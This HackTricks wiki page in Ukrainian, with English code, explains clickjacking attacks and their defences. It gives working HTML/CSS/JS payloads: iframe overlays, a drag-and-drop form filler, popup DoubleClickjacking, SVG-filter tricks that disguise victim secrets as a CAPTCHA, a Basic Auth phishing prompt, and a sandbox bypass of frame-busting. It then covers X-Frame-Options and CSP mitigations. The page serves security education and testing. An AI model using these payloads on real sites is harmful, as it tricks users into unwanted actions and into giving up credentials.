Clickjacking
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.
Що таке Clickjacking
У clickjacking-атакі користувача обманюють, змушуючи його натиснути на елемент на веб-сторінці, який є або невидимим, або замаскований під інший елемент. Така маніпуляція може призвести до небажаних наслідків для користувача, таких як завантаження шкідливого ПЗ, перенаправлення на шкідливі веб-сторінки, передача облікових даних або конфіденційної інформації, перекази коштів або онлайн-купівля товарів.
Prepopulate forms trick
Іноді можливо заповнити значення полів форми, використовуючи GET-параметри під час завантаження сторінки. Атакуючий може зловживати цією поведінкою, щоб заповнити форму довільними даними і відправити clickjacking payload, щоб користувач натиснув кнопку Submit.
Populate form with Drag&Drop
Якщо вам потрібно, щоб користувач заповнив форму, але ви не хочете прямо просити його ввести певні відомості (наприклад, електронну пошту або конкретний пароль, який ви знаєте), ви можете просто попросити його Drag&Drop чогось, що запише керовані вами дані, як у this example.
Basic Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Багатокроковий Payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Якщо ви виявили XSS attack that requires a user to click на якийсь елемент, щоб trigger XSS, і сторінка vulnerable to clickjacking, це можна використати, щоб обманом змусити користувача клікнути кнопку/посилання.
Приклад:
Ви знайшли self XSS в якихось приватних деталях акаунта (деталі, які only you can set and read). Сторінка з формою для встановлення цих даних vulnerable до Clickjacking і ви можете prepopulate форму за допомогою GET-параметрів.
А attacker може підготувати Clickjacking атаку на цю сторінку, prepopulating форму з XSS payload і tricking користувача щоб Submit форму. Тож, when the form is submitted і значення змінені, користувач виконає XSS.
DoubleClickjacking
По-перше explained in this post, ця техніка просить victim двічі клікнути по кнопці на кастомній сторінці, розташованій у конкретному місці, і використовує різницю в часі між mousedown та onclick подіями, щоб під час double click підвантажити сторінку жертви так, щоб victim actually clicks a legit button in the victim page.
Приклад можна побачити в цьому відео: https://www.youtube.com/watch?v=4rGvRRMrD18
Приклад коду можна знайти на this page.
Warning
Ця техніка дозволяє обманом змусити користувача клікнути в одному місці на сторінці жертви, обходячи всі захисти від clickjacking. Тому attacker має знайти чутливі дії, які можна виконати лише одним кліком, наприклад OAuth prompts accepting permissions.
Popup-based DoubleClickjacking (no iframes)
Деякі PoCs зовсім відмовляються від iframes і тримають background popup, вирівняний під курсором. Сторінка attacker відстежує mousemove і використовує невеликий popup (window.open), який переміщується за допомогою moveTo() поки він same-origin; після вирівнювання він перенаправляється назад на target origin, щоб наступний клік припав на реальну кнопку. Оскільки cross‑origin moveTo() заблоковано, popup коротко навігується на attacker origin для переміщення, потім location/history.back() повертає його на ціль. Щоб показати ціль у момент кліку, attacker може заново відкрити popup with the same window name, щоб підняти його на передній план без зміни URL.
<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>
SVG Filters / Cross-Origin Iframe UI Redressing
Сучасні збірки Chromium/WebKit/Gecko дозволяють застосовувати CSS filter:url(#id) до cross-origin iframes. Растеризовані пікселі iframe подаються в SVG filter graph як SourceGraphic, тому примітиви, такі як feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, тощо, можуть довільно спотворювати victim UI ще до того, як користувач його побачить, навіть якщо attacker ніколи не торкається DOM. Простий Liquid-Glass style filter виглядає так:
<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
- Корисні примітиви:
feImageзавантажує attacker bitmaps (наприклад, overlays, displacement maps);feFloodстворює однотонні маски;feOffset/feGaussianBlurуточнюють/розмивають виділення;feDisplacementMapзаломлює/спотворює текст;feComposite operator="arithmetic"реалізує довільні per-channel обчислення (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), чого достатньо для посилення контрасту, маскування та AND/OR-операцій;feTileобрізає і реплікує pixel probes;feMorphologyрозширює/звужує штрихи;feColorMatrixпереміщує luma в alpha для побудови точних масок.
Спотворення secrets у CAPTCHA-подібні підказки
Якщо framable endpoint відображає secrets (tokens, reset codes, API keys), атакуючий може спотворити їх так, щоб вони нагадували CAPTCHA і примусити до ручної транскрипції:
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
Спотворені пікселі обманюють користувача, змушуючи його «розв’язувати» captcha всередині контрольованого атакуючим <input>, чий pattern примушує використовувати реальний секрет жертви.
Перепредставлення введень жертви
Фільтри можуть хірургічно видаляти placeholder/validation текст, зберігаючи натискання клавіш користувача. Один робочий процес:
feComposite operator="arithmetic" k2≈4підсилює яскравість так, що сірий допоміжний текст насичується до білого.feTileобмежує робочу область прямокутником поля вводу.feMorphology operator="erode"потовщує темні гліфи, набрані жертвою, і зберігає їх уresult="thick".feFloodстворює білу пластину,feBlend mode="difference"зthick, а другийfeComposite k2≈100перетворює це на різку luma matte.feColorMatrixпереміщує ту luma в альфу, аfeComposite in="SourceGraphic" operator="in"зберігає лише гліфи, введені користувачем.- Ще один
feBlend in2="white"із тонким обрізом дає чисте текстове поле, після чого атакуючий накладає свої HTML-мітки (наприклад, «Введіть вашу електронну адресу»), у той час як прихований iframe усе ще застосовує password policy origin’у жертви.
Safari має проблеми з feTile; той самий ефект можна відтворити за допомогою просторових матів, побудованих з feFlood + feColorMatrix + feComposite для WebKit-only payloads.
Піксельні зонди, логіка та машини станів
Обрізаючи регіон 2–4 px за допомогою feTile і масштабуючи його на 100% viewport’у, атакуючий перетворює відбірний колір у текстуру на весь кадр, яку можна порогувати у булеву маску:
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
Для довільних кольорів посилання feFlood (наприклад, #0B57D0) у поєднанні з feBlend mode="difference" та ще одним арифметичним composite (k2≈100, k4 як допуск) дає білий колір тільки коли вибраний піксель відповідає цільовому відтінку. Передача цих масок у feComposite з налаштованими k1..k4 дає логічні вентилі: AND через k1=1, OR через k2=k3=1, XOR через feBlend mode="difference", NOT — шляхом блендингу з білим. Послідовне з’єднання вентилів утворює повний суматор всередині графа фільтрів, доводячи, що конвеєр є функціонально повним.
Отже, зловмисники можуть читати стан UI без JavaScript. Приклади булевих змінних з робочого процесу модального діалогу:
- D (dialog visible): probe a darkened corner and test against white.
- L (dialog loaded): probe the coordinates where the button appears once ready.
- C (checkbox checked): compare the checkbox pixel against the active blue
#0B57D0. - R (red success/failure banner): use
feMorphologyand red thresholds inside the banner rectangle.
Кожний виявлений стан керує різним overlay bitmap, вбудованим через feImage xlink:href="data:...". Маскування цих bitmap за допомогою D, L, C, R синхронізує накладки з реальним діалогом і проводить жертву через багатокрокові робочі процеси (скидання паролів, затвердження, підтвердження руйнівних дій) без жодного розкриття DOM.
Sandboxed iframe Basic Auth dialog (no allow-popups)
A sandboxed iframe without allow-popups can still surface a browser-controlled HTTP Basic Authentication modal when a load returns 401 with WWW-Authenticate. The dialog is spawned by the browser’s networking/auth layer (not JS alert/prompt/confirm), so popup restrictions in the sandbox do not suppress it. If you can script the iframe (e.g., sandbox="allow-scripts") you can navigate it to any endpoint issuing a Basic Auth challenge:
<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>
Як тільки відповідь надходить, браузер просить облікові дані, хоча спливаючі вікна заборонені. Фреймінг довіреного origin цим прийомом дає змогу здійснити UI redress/phishing: несподівані модальні запити всередині “sandboxed” віджета можуть збивати з пантелику користувачів або призводити до того, що менеджери паролів запропонують збережені облікові дані.
Browser extensions: DOM-based autofill clickjacking
Окрім iframing сторінок жертви, атакувальники можуть націлюватися на UI-елементи browser extension, що інжектяться в сторінку. Менеджери паролів відображають autofill dropdown біля сфокусованих полів; сфокусувавши контрольоване атакувальником поле й приховавши/закривши випадаюче меню розширення (трюки з opacity/overlay/верхнім шаром), примусовий клік користувача може вибрати збережений запис і заповнити конфіденційні дані у поля, контрольовані атакувальником. Ця варіація не потребує exposure через iframe і працює повністю через DOM/CSS-маніпуляції.
Реальний випадок: Dashlane розкрила проблему clickjacking діалогу passkey (Aug 2025), де XSS on the relying-party domain дозволяв атакувальнику накласти HTML поверх діалогу passkey розширення. Клік по елементу атакувальника призводив до легітимного входу за passkey (сам passkey не був розкритий), фактично перетворюючи UI-redress на доступ до облікового запису, якщо RP вже вразливий до ін’єкції скриптів.
- For concrete techniques and PoCs see: BrowExt - ClickJacking
Strategies to Mitigate Clickjacking
Захист на стороні клієнта
Скрипти, що виконуються на стороні клієнта, можуть виконувати дії для запобігання Clickjacking:
- Переконатися, що вікно застосунку є основним або верхнім вікном.
- Зробити всі фрейми видимими.
- Запобігати клікам по невидимих фреймах.
- Виявляти та попереджати користувачів про потенційні спроби Clickjacking.
Однак ці frame-busting скрипти можуть бути обійдені:
- Налаштування безпеки браузера: Деякі браузери можуть блокувати ці скрипти через свої налаштування безпеки або через відсутність підтримки JavaScript.
- HTML5 iframe
sandboxAttribute: Атакувальник може нейтралізувати frame buster скрипти, встановивши атрибутsandboxзі значеннямиallow-formsабоallow-scriptsбезallow-top-navigation. Це заважає iframe перевірити, чи є воно верхнім вікном, наприклад,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
Значення allow-forms та allow-scripts дозволяють виконувати дії всередині iframe, водночас блокуючи навігацію на верхньому рівні. Щоб забезпечити необхідну функціональність цільового сайту, можуть знадобитися додаткові дозволи, наприклад allow-same-origin та allow-modals, залежно від типу атаки. Повідомлення в консолі браузера можуть підказати, які дозволи варто додати.
Захист на стороні сервера
X-Frame-Options
Заголовок HTTP-відповіді X-Frame-Options повідомляє браузерам про допустимість відображення сторінки в <frame> або <iframe>, допомагаючи запобігти Clickjacking:
X-Frame-Options: deny- Жоден домен не може відображати цей вміст у фреймі.X-Frame-Options: sameorigin- Лише поточний сайт може відображати цей вміст у фреймі.X-Frame-Options: allow-from https://trusted.com- Лише вказаний ‘uri’ може відображати сторінку у фреймі.- Зауважте обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери віддають перевагу директиві CSP frame-ancestors.
Content Security Policy (CSP) директива frame-ancestors
Директива frame-ancestors у CSP — рекомендований метод захисту від Clickjacking:
frame-ancestors 'none'- Схоже наX-Frame-Options: deny.frame-ancestors 'self'- Схоже наX-Frame-Options: sameorigin.frame-ancestors trusted.com- Схоже наX-Frame-Options: allow-from.
Наприклад, наступний CSP дозволяє відображення у фреймі тільки з того ж домену:
Content-Security-Policy: frame-ancestors 'self';
Детальніше та складні приклади можна знайти в frame-ancestors CSP documentation та в Mozilla’s CSP frame-ancestors documentation.
Content Security Policy (CSP) з child-src і frame-src
Content Security Policy (CSP) — це захід безпеки, що допомагає запобігати Clickjacking та іншим атакам впровадження коду, шляхом визначення джерел, з яких браузер має дозволяти завантажувати контент.
Директива frame-src
- Визначає допустимі джерела для фреймів.
- Більш специфічна, ніж директива
default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Ця політика дозволяє фрейми з того самого origin (self) та https://trusted-website.com.
child-src директива
- Запроваджена в CSP рівня 2 для встановлення допустимих джерел для web workers і фреймів.
- Служить як резервний механізм для frame-src та worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Ця політика дозволяє фрейми та воркери з того ж походження (self) та https://trusted-website.com.
Примітки щодо використання:
- Застарівання: child-src поступово замінюється на frame-src і worker-src.
- Поведінка за замовчуванням: Якщо frame-src відсутній, child-src використовується як запасний варіант для фреймів. Якщо обидва відсутні, використовується default-src.
- Строге визначення джерел: вказуйте в директивах лише довірені джерела, щоб запобігти експлуатації.
JavaScript скрипти для запобігання фреймінгу
Хоча вони не є абсолютно надійними, JavaScript-скрипти для запобігання вбудуванню у фрейм можна використовувати, щоб не дозволити веб-сторінці бути вставленою у фрейм. Приклад:
if (top !== self) {
top.location = self.location
}
Використання Anti-CSRF Tokens
- Перевірка токена: Використовуйте anti-CSRF tokens у веб-застосунках, щоб гарантувати, що запити, що змінюють стан, виконуються свідомо користувачем, а не через Clickjacked сторінку.
Посилання
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
- SVG Filters - Clickjacking 2.0
- Iframe sandbox Basic Auth modal
- Chromestatus: Restrict sandboxed frame dialogs
- Chromium issue about sandboxed auth dialogs
- DoubleClickjacking PoC details (evil.blog)
- Dashlane passkey dialog clickjacking advisory
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.


